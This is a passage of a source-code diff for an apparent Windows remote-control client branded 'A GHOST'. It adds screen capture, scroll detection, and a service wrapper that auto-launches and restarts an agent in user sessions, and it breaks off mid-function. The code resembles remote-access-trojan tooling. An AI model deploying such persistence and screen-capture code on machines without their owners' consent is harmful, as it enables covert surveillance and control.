BitBlt(data->GetScreenDC(), frameRect.left - data->X(), frameRect.top - data->Y(),
|
||||
realWidth, realHeight, hDcWindow, shadowLeft, shadowTop, SRCCOPY);
|
||||
} else {
|
||||
// 菜单和其他窗口使用原始方式
|
||||
BitBlt(data->GetScreenDC(), rect.left - data->X(), rect.top - data->Y(),
|
||||
rect.right - rect.left, rect.bottom - rect.top, hDcWindow, 0, 0, SRCCOPY);
|
||||
}
|
||||
}
|
||||
// 即使捕获失败也返回 TRUE,避免阻止其他窗口的绘制
|
||||
SelectObject(hDcWindow, hOldBmp);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
static int EnumWindowsTopToDown(HWND owner, WNDENUMPROC proc, LPARAM param)
|
||||
{
|
||||
HWND currentWindow = GetTopWindow(owner);
|
||||
if (currentWindow == NULL)
|
||||
return -1;
|
||||
if ((currentWindow = GetWindow(currentWindow, GW_HWNDLAST)) == NULL)
|
||||
return -2;
|
||||
while (proc(currentWindow, param) && (currentWindow = GetWindow(currentWindow, GW_HWNDPREV)) != NULL);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static BOOL CALLBACK EnumHwndsPrint(HWND hWnd, LPARAM lParam)
|
||||
{
|
||||
AUTO_TICK_C(100, "");
|
||||
if (FALSE == PaintWindow(hWnd, (EnumHwndsPrintData*)lParam)) {
|
||||
char text[_MAX_PATH] = {};
|
||||
GetWindowText(hWnd, text, sizeof(text));
|
||||
Mprintf("PaintWindow %s[%p] failed!!!\n", text, hWnd);
|
||||
}
|
||||
|
||||
static OSVERSIONINFOA versionInfo = { sizeof(OSVERSIONINFOA) };
|
||||
static BOOL result = GetVersionExA(&versionInfo);
|
||||
if (versionInfo.dwMajorVersion < 6) {
|
||||
DWORD style = GetWindowLongA(hWnd, GWL_EXSTYLE);
|
||||
SetWindowLongA(hWnd, GWL_EXSTYLE, style | WS_EX_COMPOSITED);
|
||||
EnumWindowsTopToDown(hWnd, EnumHwndsPrint, lParam);
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength);
|
||||
|
||||
virtual LPBYTE ScanNextScreen()
|
||||
{
|
||||
ScanScreen(m_hDiffMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight);
|
||||
LPBYTE bmp = scaleBitmap(m_BmpZoomBuffer, (LPBYTE)m_DiffBitmapData_Full);
|
||||
return (LPBYTE)bmp;
|
||||
}
|
||||
|
||||
VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
|
||||
|
||||
// 重置桌面 DC(桌面切换时调用)
|
||||
void ResetDesktopDC()
|
||||
{
|
||||
ReleaseDC(NULL, m_hDeskTopDC);
|
||||
m_hDeskTopDC = GetDC(NULL);
|
||||
m_data.Create(m_hDeskTopDC, m_iScreenX, m_iScreenY, m_ulFullWidth, m_ulFullHeight);
|
||||
}
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)
|
||||
149
client/Script.rc
Normal file
149
client/Script.rc
Normal file
@@ -0,0 +1,149 @@
|
||||
// Microsoft Visual C++ generated resource script.
|
||||
//
|
||||
#include "resource.h"
|
||||
|
||||
#define APSTUDIO_READONLY_SYMBOLS
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Generated from the TEXTINCLUDE 2 resource.
|
||||
//
|
||||
#include "afxres.h"
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
#undef APSTUDIO_READONLY_SYMBOLS
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// 中文(简体,中国) resources
|
||||
|
||||
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)
|
||||
LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
|
||||
#pragma code_page(936)
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Dialog
|
||||
//
|
||||
|
||||
IDD_DIALOG DIALOGEX 0, 0, 180, 108
|
||||
STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
||||
CAPTION "消息提示"
|
||||
FONT 10, "System", 0, 0, 0x0
|
||||
BEGIN
|
||||
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
|
||||
END
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// DESIGNINFO
|
||||
//
|
||||
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
GUIDELINES DESIGNINFO
|
||||
BEGIN
|
||||
IDD_DIALOG, DIALOG
|
||||
BEGIN
|
||||
END
|
||||
END
|
||||
#endif // APSTUDIO_INVOKED
|
||||
|
||||
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// TEXTINCLUDE
|
||||
//
|
||||
|
||||
1 TEXTINCLUDE
|
||||
BEGIN
|
||||
"resource.h\0"
|
||||
END
|
||||
|
||||
2 TEXTINCLUDE
|
||||
BEGIN
|
||||
"#include ""afxres.h""\r\n"
|
||||
"\0"
|
||||
END
|
||||
|
||||
3 TEXTINCLUDE
|
||||
BEGIN
|
||||
"\r\n"
|
||||
"\0"
|
||||
END
|
||||
|
||||
#endif // APSTUDIO_INVOKED
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// WAVE
|
||||
//
|
||||
|
||||
IDR_WAVE WAVE "Res\\msg.wav"
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Version
|
||||
//
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 1,0,3,1
|
||||
PRODUCTVERSION 1,0,0,1
|
||||
FILEFLAGSMASK 0x3fL
|
||||
#ifdef _DEBUG
|
||||
FILEFLAGS 0x1L
|
||||
#else
|
||||
FILEFLAGS 0x0L
|
||||
#endif
|
||||
FILEOS 0x40004L
|
||||
FILETYPE 0x2L
|
||||
FILESUBTYPE 0x0L
|
||||
BEGIN
|
||||
BLOCK "StringFileInfo"
|
||||
BEGIN
|
||||
BLOCK "080404b0"
|
||||
BEGIN
|
||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||
VALUE "FileDescription", "A GHOST"
|
||||
VALUE "FileVersion", "1.0.3.1"
|
||||
VALUE "InternalName", "ServerDll.dll"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
|
||||
VALUE "OriginalFilename", "ServerDll.dll"
|
||||
VALUE "ProductName", "A GHOST"
|
||||
VALUE "ProductVersion", "1.0.0.1"
|
||||
END
|
||||
END
|
||||
BLOCK "VarFileInfo"
|
||||
BEGIN
|
||||
VALUE "Translation", 0x804, 1200
|
||||
END
|
||||
END
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Icon
|
||||
//
|
||||
|
||||
// Icon with lowest ID value placed first to ensure application icon
|
||||
// remains consistent on all systems.
|
||||
IDI_ICON_MAIN ICON "Res\\ghost.ico"
|
||||
|
||||
IDI_ICON_MSG ICON "Res\\msg.ico"
|
||||
|
||||
#endif // 中文(简体,中国) resources
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
|
||||
#ifndef APSTUDIO_INVOKED
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Generated from the TEXTINCLUDE 3 resource.
|
||||
//
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
#endif // not APSTUDIO_INVOKED
|
||||
|
||||
213
client/ScrollDetector.h
Normal file
213
client/ScrollDetector.h
Normal file
@@ -0,0 +1,213 @@
|
||||
// ScrollDetector.h: Scroll detection for screen capture optimization
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#ifndef SCROLL_DETECTOR_H
|
||||
#define SCROLL_DETECTOR_H
|
||||
|
||||
#include <cstdint>
|
||||
#include <cstring>
|
||||
#include <algorithm>
|
||||
#include "../common/commands.h"
|
||||
|
||||
// Scroll detection parameters
|
||||
#define MIN_SCROLL_LINES 16 // Minimum scroll lines to detect (increased to reduce noise)
|
||||
#define MAX_SCROLL_RATIO 4 // Maximum scroll = height / MAX_SCROLL_RATIO
|
||||
#define MATCH_THRESHOLD 85 // Percentage of rows that must match (increased for stability)
|
||||
|
||||
// Horizontal scroll direction constants (for future use)
|
||||
#define SCROLL_DIR_LEFT 2
|
||||
#define SCROLL_DIR_RIGHT 3
|
||||
|
||||
// CRC32 lookup table for row hashing
|
||||
static uint32_t crc32_table[256] = { 0 };
|
||||
static bool crc32_table_initialized = false;
|
||||
|
||||
inline void InitCRC32Table()
|
||||
{
|
||||
if (crc32_table_initialized) return;
|
||||
|
||||
for (uint32_t i = 0; i < 256; i++) {
|
||||
uint32_t crc = i;
|
||||
for (int j = 0; j < 8; j++) {
|
||||
crc = (crc >> 1) ^ ((crc & 1) ? 0xEDB88320 : 0);
|
||||
}
|
||||
crc32_table[i] = crc;
|
||||
}
|
||||
crc32_table_initialized = true;
|
||||
}
|
||||
|
||||
inline uint32_t ComputeCRC32(const uint8_t* data, size_t length)
|
||||
{
|
||||
uint32_t crc = 0xFFFFFFFF;
|
||||
for (size_t i = 0; i < length; i++) {
|
||||
crc = (crc >> 8) ^ crc32_table[(crc ^ data[i]) & 0xFF];
|
||||
}
|
||||
return crc ^ 0xFFFFFFFF;
|
||||
}
|
||||
|
||||
class CScrollDetector
|
||||
{
|
||||
private:
|
||||
uint32_t* m_prevRowHashes; // Hash for each row of previous frame
|
||||
uint32_t* m_currRowHashes; // Hash for each row of current frame
|
||||
int m_width; // Frame width in pixels
|
||||
int m_height; // Frame height in pixels
|
||||
int m_bytesPerPixel; // Bytes per pixel (typically 4 for BGRA)
|
||||
int m_stride; // Bytes per row
|
||||
int m_lastScrollAmount; // Last detected scroll amount
|
||||
|
||||
public:
|
||||
CScrollDetector(int width, int height, int bpp = 4)
|
||||
: m_width(width), m_height(height), m_bytesPerPixel(bpp)
|
||||
{
|
||||
InitCRC32Table();
|
||||
m_stride = width * bpp;
|
||||
m_prevRowHashes = new uint32_t[height];
|
||||
m_currRowHashes = new uint32_t[height];
|
||||
m_lastScrollAmount = 0;
|
||||
memset(m_prevRowHashes, 0, height * sizeof(uint32_t));
|
||||
memset(m_currRowHashes, 0, height * sizeof(uint32_t));
|
||||
}
|
||||
|
||||
~CScrollDetector()
|
||||
{
|
||||
if (m_prevRowHashes) {
|
||||
delete[] m_prevRowHashes;
|
||||
m_prevRowHashes = nullptr;
|
||||
}
|
||||
if (m_currRowHashes) {
|
||||
delete[] m_currRowHashes;
|
||||
m_currRowHashes = nullptr;
|
||||
}
|
||||
}
|
||||
|
||||
// Compute hash for each row of a frame
|
||||
void ComputeRowHashes(const uint8_t* frame, uint32_t* hashes)
|
||||
{
|
||||
for (int row = 0; row < m_height; row++) {
|
||||
hashes[row] = ComputeCRC32(frame + row * m_stride, m_stride);
|
||||
}
|
||||
}
|
||||
|
||||
// Detect vertical scroll between previous and current frame
|
||||
// Returns scroll amount in pixels (positive = scroll down, negative = scroll up)
|
||||
// Returns 0 if no scroll detected
|
||||
int DetectVerticalScroll(const uint8_t* prevFrame, const uint8_t* currFrame)
|
||||
{
|
||||
// Compute hashes for current frame
|
||||
ComputeRowHashes(currFrame, m_currRowHashes);
|
||||
|
||||
int maxScroll = m_height / MAX_SCROLL_RATIO;
|
||||
int bestScrollAmount = 0;
|
||||
int bestMatchCount = 0;
|
||||
|
||||
// Try different scroll amounts
|
||||
for (int scrollAmount = MIN_SCROLL_LINES; scrollAmount <= maxScroll; scrollAmount++) {
|
||||
// Check scroll down (content moves up, new content at bottom)
|
||||
int matchCount = CountMatchingRows(scrollAmount);
|
||||
if (matchCount > bestMatchCount) {
|
||||
bestMatchCount = matchCount;
|
||||
bestScrollAmount = scrollAmount;
|
||||
}
|
||||
|
||||
// Check scroll up (content moves down, new content at top)
|
||||
matchCount = CountMatchingRows(-scrollAmount);
|
||||
if (matchCount > bestMatchCount) {
|
||||
bestMatchCount = matchCount;
|
||||
bestScrollAmount = -scrollAmount;
|
||||
}
|
||||
}
|
||||
|
||||
// Check if match quality is good enough
|
||||
int comparedRows = m_height - abs(bestScrollAmount);
|
||||
int threshold = (comparedRows * MATCH_THRESHOLD) / 100;
|
||||
|
||||
if (bestMatchCount >= threshold && bestMatchCount >= MIN_SCROLL_LINES) {
|
||||
m_lastScrollAmount = bestScrollAmount;
|
||||
// Swap hash buffers for next frame
|
||||
std::swap(m_prevRowHashes, m_currRowHashes);
|
||||
return bestScrollAmount;
|
||||
}
|
||||
|
||||
// No scroll detected, update previous hashes
|
||||
std::swap(m_prevRowHashes, m_currRowHashes);
|
||||
m_lastScrollAmount = 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Update previous frame hashes (call after sending diff frame)
|
||||
void UpdatePrevHashes(const uint8_t* frame)
|
||||
{
|
||||
ComputeRowHashes(frame, m_prevRowHashes);
|
||||
}
|
||||
|
||||
// Get edge region info for scroll frame
|
||||
// BMP is bottom-up: row 0 = screen bottom, row height-1 = screen top
|
||||
// scrollAmount > 0: scroll down (content moves up), new content at screen bottom = BMP row 0
|
||||
// scrollAmount < 0: scroll up (content moves down), new content at screen top = BMP high rows
|
||||
void GetEdgeRegion(int scrollAmount, int* outOffset, int* outPixelCount) const
|
||||
{
|
||||
if (scrollAmount > 0) {
|
||||
// Scroll down: new content at screen bottom = BMP row 0 (low address)
|
||||
*outOffset = 0;
|
||||
*outPixelCount = scrollAmount * m_width;
|
||||
} else {
|
||||
// Scroll up: new content at screen top = BMP high rows
|
||||
*outOffset = (m_height + scrollAmount) * m_stride;
|
||||
*outPixelCount = (-scrollAmount) * m_width;
|
||||
}
|
||||
}
|
||||
|
||||
int GetLastScrollAmount() const
|
||||
{
|
||||
return m_lastScrollAmount;
|
||||
}
|
||||
int GetWidth() const
|
||||
{
|
||||
return m_width;
|
||||
}
|
||||
int GetHeight() const
|
||||
{
|
||||
return m_height;
|
||||
}
|
||||
int GetStride() const
|
||||
{
|
||||
return m_stride;
|
||||
}
|
||||
|
||||
private:
|
||||
// Count matching rows for a given scroll amount
|
||||
// BMP is bottom-up: row 0 = screen bottom, row height-1 = screen top
|
||||
// scrollAmount > 0: scroll down (content moves up in screen)
|
||||
// - In BMP: new content at row 0, old content shifted to higher rows
|
||||
// - curr[scrollAmount + i] should match prev[i]
|
||||
// scrollAmount < 0: scroll up (content moves down in screen)
|
||||
// - In BMP: new content at high rows, old content shifted to lower rows
|
||||
// - curr[i] should match prev[i + absScroll]
|
||||
int CountMatchingRows(int scrollAmount) const
|
||||
{
|
||||
int matchCount = 0;
|
||||
int absScroll = abs(scrollAmount);
|
||||
|
||||
if (scrollAmount > 0) {
|
||||
// Scroll down: curr[scrollAmount..height-1] should match prev[0..height-scrollAmount-1]
|
||||
for (int i = 0; i < m_height - absScroll; i++) {
|
||||
if (m_currRowHashes[i + absScroll] == m_prevRowHashes[i]) {
|
||||
matchCount++;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Scroll up: curr[0..height-scrollAmount-1] should match prev[scrollAmount..height-1]
|
||||
for (int i = 0; i < m_height - absScroll; i++) {
|
||||
if (m_currRowHashes[i] == m_prevRowHashes[i + absScroll]) {
|
||||
matchCount++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return matchCount;
|
||||
}
|
||||
};
|
||||
|
||||
#endif // SCROLL_DETECTOR_H
|
||||
652
client/ServiceWrapper.c
Normal file
652
client/ServiceWrapper.c
Normal file
@@ -0,0 +1,652 @@
|
||||
#include "ServiceWrapper.h"
|
||||
#include "SessionMonitor.h"
|
||||
#include <stdio.h>
|
||||
|
||||
#define Mprintf(format, ...) MyLog(__FILE__, __LINE__, format, __VA_ARGS__)
|
||||
|
||||
// 静态变量
|
||||
static MyService g_MyService =
|
||||
{ "RemoteControlService", "Remote Control Service", "Provides remote desktop control functionality."};
|
||||
|
||||
static SERVICE_STATUS g_ServiceStatus = { 0 };
|
||||
static SERVICE_STATUS_HANDLE g_StatusHandle = NULL;
|
||||
static HANDLE g_StopEvent = NULL;
|
||||
static ServiceLogFunc Log = NULL;
|
||||
|
||||
// 前向声明
|
||||
static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
|
||||
static void WINAPI ServiceCtrlHandler(DWORD ctrlCode);
|
||||
|
||||
void MyLog(const char* file, int line, const char* format, ...)
|
||||
{
|
||||
if (Log == NULL) {
|
||||
return; // 没有设置日志回调,直接返回
|
||||
}
|
||||
|
||||
char buffer[1024];
|
||||
char message[1200];
|
||||
|
||||
// 处理可变参数
|
||||
va_list args;
|
||||
va_start(args, format);
|
||||
vsnprintf(buffer, sizeof(buffer), format, args);
|
||||
va_end(args);
|
||||
|
||||
// 提取文件名(去掉路径)
|
||||
const char* filename = strrchr(file, '/');
|
||||
if (filename == NULL) {
|
||||
filename = strrchr(file, '\\');
|
||||
}
|
||||
filename = (filename != NULL) ? (filename + 1) : file;
|
||||
|
||||
// 格式化完整的日志消息:[文件名:行号] 消息内容
|
||||
snprintf(message, sizeof(message), "[%s:%d] %s", filename, line, buffer);
|
||||
|
||||
// 调用日志回调函数
|
||||
Log(message);
|
||||
}
|
||||
|
||||
void InitWindowsService(MyService info, ServiceLogFunc log)
|
||||
{
|
||||
memcpy(&g_MyService, &info, sizeof(MyService));
|
||||
Log = log;
|
||||
}
|
||||
|
||||
BOOL ServiceWrapper_CheckStatus(BOOL* registered, BOOL* running,
|
||||
char* exePath, size_t exePathSize)
|
||||
{
|
||||
SC_HANDLE hSCM = NULL;
|
||||
SC_HANDLE hService = NULL;
|
||||
BOOL result = FALSE;
|
||||
SERVICE_STATUS_PROCESS ssp;
|
||||
DWORD bytesNeeded = 0;
|
||||
DWORD bufSize = 0;
|
||||
LPQUERY_SERVICE_CONFIGA pConfig = NULL;
|
||||
|
||||
*registered = FALSE;
|
||||
*running = FALSE;
|
||||
if (exePath && exePathSize > 0) {
|
||||
exePath[0] = '\0';
|
||||
}
|
||||
|
||||
// 打开 SCM
|
||||
hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
|
||||
if (!hSCM) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 打开服务
|
||||
hService = OpenServiceA(
|
||||
hSCM,
|
||||
g_MyService.Name,
|
||||
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG);
|
||||
if (!hService) {
|
||||
CloseServiceHandle(hSCM);
|
||||
return TRUE; // 未注册
|
||||
}
|
||||
|
||||
*registered = TRUE;
|
||||
result = TRUE;
|
||||
|
||||
// 获取服务状态
|
||||
memset(&ssp, 0, sizeof(ssp));
|
||||
if (QueryServiceStatusEx(
|
||||
hService,
|
||||
SC_STATUS_PROCESS_INFO,
|
||||
(LPBYTE)&ssp,
|
||||
sizeof(SERVICE_STATUS_PROCESS),
|
||||
&bytesNeeded)) {
|
||||
*running = (ssp.dwCurrentState == SERVICE_RUNNING);
|
||||
}
|
||||
|
||||
// 获取 EXE 路径
|
||||
if (exePath && exePathSize > 0) {
|
||||
QueryServiceConfigA(hService, NULL, 0, &bufSize);
|
||||
|
||||
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
|
||||
pConfig = (LPQUERY_SERVICE_CONFIGA)malloc(bufSize);
|
||||
|
||||
if (pConfig) {
|
||||
if (QueryServiceConfigA(hService, pConfig, bufSize, &bufSize)) {
|
||||
strncpy(exePath, pConfig->lpBinaryPathName, exePathSize - 1);
|
||||
exePath[exePathSize - 1] = '\0';
|
||||
}
|
||||
free(pConfig);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
return result;
|
||||
}
|
||||
|
||||
int ServiceWrapper_StartSimple(void)
|
||||
{
|
||||
SC_HANDLE hSCM = NULL;
|
||||
SC_HANDLE hService = NULL;
|
||||
BOOL ok;
|
||||
int err;
|
||||
|
||||
// 打开SCM
|
||||
hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
|
||||
if (!hSCM) {
|
||||
return (int)GetLastError();
|
||||
}
|
||||
|
||||
// 打开服务并启动
|
||||
hService = OpenServiceA(hSCM, g_MyService.Name, SERVICE_START);
|
||||
if (!hService) {
|
||||
err = (int)GetLastError();
|
||||
CloseServiceHandle(hSCM);
|
||||
return err;
|
||||
}
|
||||
|
||||
// 启动服务
|
||||
ok = StartServiceA(hService, 0, NULL);
|
||||
err = ok ? ERROR_SUCCESS : (int)GetLastError();
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
|
||||
return err;
|
||||
}
|
||||
|
||||
int ServiceWrapper_Run(void)
|
||||
{
|
||||
DWORD err;
|
||||
char buffer[256];
|
||||
SERVICE_TABLE_ENTRY ServiceTable[2];
|
||||
|
||||
ServiceTable[0].lpServiceName = (LPSTR)g_MyService.Name;
|
||||
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
|
||||
ServiceTable[1].lpServiceName = NULL;
|
||||
ServiceTable[1].lpServiceProc = NULL;
|
||||
|
||||
Mprintf("========================================");
|
||||
Mprintf("ServiceWrapper_Run() called");
|
||||
|
||||
if (StartServiceCtrlDispatcher(ServiceTable) == FALSE) {
|
||||
err = GetLastError();
|
||||
sprintf(buffer, "StartServiceCtrlDispatcher failed: %d", (int)err);
|
||||
Mprintf(buffer);
|
||||
return (int)err;
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv)
|
||||
{
|
||||
HANDLE hThread;
|
||||
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
|
||||
Mprintf("ServiceMain() called");
|
||||
|
||||
g_StatusHandle = RegisterServiceCtrlHandler(
|
||||
g_MyService.Name,
|
||||
ServiceCtrlHandler
|
||||
);
|
||||
|
||||
if (g_StatusHandle == NULL) {
|
||||
Mprintf("RegisterServiceCtrlHandler failed");
|
||||
return;
|
||||
}
|
||||
|
||||
ZeroMemory(&g_ServiceStatus, sizeof(g_ServiceStatus));
|
||||
g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
|
||||
g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
|
||||
g_ServiceStatus.dwControlsAccepted = 0;
|
||||
g_ServiceStatus.dwWin32ExitCode = 0;
|
||||
g_ServiceStatus.dwServiceSpecificExitCode = 0;
|
||||
g_ServiceStatus.dwCheckPoint = 0;
|
||||
g_ServiceStatus.dwWaitHint = 0;
|
||||
|
||||
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
|
||||
|
||||
g_StopEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
if (g_StopEvent == NULL) {
|
||||
Mprintf("CreateEvent failed");
|
||||
g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
|
||||
g_ServiceStatus.dwWin32ExitCode = GetLastError();
|
||||
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
|
||||
return;
|
||||
}
|
||||
|
||||
g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
|
||||
g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
|
||||
g_ServiceStatus.dwWin32ExitCode = 0;
|
||||
g_ServiceStatus.dwCheckPoint = 0;
|
||||
|
||||
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
|
||||
Mprintf("Service is now running");
|
||||
|
||||
hThread = CreateThread(NULL, 0, ServiceWrapper_WorkerThread, NULL, 0, NULL);
|
||||
if (hThread) {
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
SAFE_CLOSE_HANDLE(hThread);
|
||||
}
|
||||
|
||||
SAFE_CLOSE_HANDLE(g_StopEvent);
|
||||
|
||||
g_ServiceStatus.dwControlsAccepted = 0;
|
||||
g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
|
||||
g_ServiceStatus.dwWin32ExitCode = 0;
|
||||
g_ServiceStatus.dwCheckPoint = 3;
|
||||
|
||||
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
|
||||
Mprintf("Service stopped");
|
||||
}
|
||||
|
||||
static void WINAPI ServiceCtrlHandler(DWORD ctrlCode)
|
||||
{
|
||||
switch (ctrlCode) {
|
||||
case SERVICE_CONTROL_STOP:
|
||||
Mprintf("SERVICE_CONTROL_STOP received");
|
||||
|
||||
if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING)
|
||||
break;
|
||||
|
||||
g_ServiceStatus.dwControlsAccepted = 0;
|
||||
g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
|
||||
g_ServiceStatus.dwWin32ExitCode = 0;
|
||||
g_ServiceStatus.dwCheckPoint = 4;
|
||||
g_ServiceStatus.dwWaitHint = 0;
|
||||
|
||||
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
|
||||
SetEvent(g_StopEvent);
|
||||
break;
|
||||
|
||||
case SERVICE_CONTROL_INTERROGATE:
|
||||
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// 服务工作线程
|
||||
DWORD WINAPI ServiceWrapper_WorkerThread(LPVOID lpParam)
|
||||
{
|
||||
SessionMonitor monitor;
|
||||
int heartbeatCount = 0;
|
||||
char buf[128];
|
||||
|
||||
(void)lpParam; // 未使用参数
|
||||
|
||||
Mprintf("========================================");
|
||||
Mprintf("Worker thread started");
|
||||
Mprintf("Service will launch agent in user sessions");
|
||||
|
||||
// 初始化会话监控器
|
||||
SessionMonitor_Init(&monitor);
|
||||
|
||||
if (!SessionMonitor_Start(&monitor)) {
|
||||
Mprintf("ERROR: Failed to start session monitor");
|
||||
SessionMonitor_Cleanup(&monitor);
|
||||
return ERROR_SERVICE_SPECIFIC_ERROR;
|
||||
}
|
||||
|
||||
Mprintf("Session monitor started successfully");
|
||||
Mprintf("Agent will be launched automatically");
|
||||
|
||||
// 主循环,只等待停止信号
|
||||
// SessionMonitor 会在后台自动:
|
||||
// 1. 监控会话
|
||||
// 2. 在用户会话中启动 agent.exe
|
||||
// 3. 监视代理进程,如果退出自动重启
|
||||
while (WaitForSingleObject(g_StopEvent, 10000) != WAIT_OBJECT_0) {
|
||||
heartbeatCount++;
|
||||
if (heartbeatCount % 6 == 0) { // 每60秒记录一次
|
||||
sprintf(buf, "Service heartbeat - uptime: %d minutes", heartbeatCount / 6);
|
||||
Mprintf(buf);
|
||||
}
|
||||
}
|
||||
|
||||
Mprintf("Stop signal received");
|
||||
Mprintf("Stopping session monitor...");
|
||||
SessionMonitor_Stop(&monitor);
|
||||
SessionMonitor_Cleanup(&monitor);
|
||||
|
||||
Mprintf("Worker thread exiting");
|
||||
Mprintf("========================================");
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
int ServiceWrapper_Stop(void)
|
||||
{
|
||||
// 打开SCM
|
||||
SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
|
||||
if (!hSCM) {
|
||||
return (int)GetLastError();
|
||||
}
|
||||
|
||||
// 打开服务
|
||||
SC_HANDLE hService = OpenServiceA(hSCM, g_MyService.Name, SERVICE_STOP | SERVICE_QUERY_STATUS);
|
||||
if (!hService) {
|
||||
int err = (int)GetLastError();
|
||||
CloseServiceHandle(hSCM);
|
||||
return err;
|
||||
}
|
||||
|
||||
// 查询当前状态
|
||||
SERVICE_STATUS status;
|
||||
if (!QueryServiceStatus(hService, &status)) {
|
||||
int err = (int)GetLastError();
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
return err;
|
||||
}
|
||||
|
||||
// 如果服务未运行,直接返回成功
|
||||
if (status.dwCurrentState == SERVICE_STOPPED) {
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
// 发送停止控制命令
|
||||
if (!ControlService(hService, SERVICE_CONTROL_STOP, &status)) {
|
||||
DWORD err = GetLastError();
|
||||
if (err != ERROR_SERVICE_NOT_ACTIVE) {
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
return (int)err;
|
||||
}
|
||||
}
|
||||
|
||||
// 等待服务停止(最多3秒)
|
||||
int waitCount = 0;
|
||||
while (status.dwCurrentState != SERVICE_STOPPED && waitCount < 3) {
|
||||
Sleep(1000);
|
||||
waitCount++;
|
||||
if (!QueryServiceStatus(hService, &status)) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
int result = (status.dwCurrentState == SERVICE_STOPPED) ? ERROR_SUCCESS : ERROR_TIMEOUT;
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
BOOL ServiceWrapper_Install(void)
|
||||
{
|
||||
SC_HANDLE schSCManager;
|
||||
SC_HANDLE schService;
|
||||
char szPath[MAX_PATH];
|
||||
SERVICE_DESCRIPTION sd;
|
||||
SERVICE_STATUS status;
|
||||
DWORD err;
|
||||
|
||||
schSCManager = OpenSCManager(
|
||||
NULL,
|
||||
NULL,
|
||||
SC_MANAGER_ALL_ACCESS
|
||||
);
|
||||
|
||||
if (schSCManager == NULL) {
|
||||
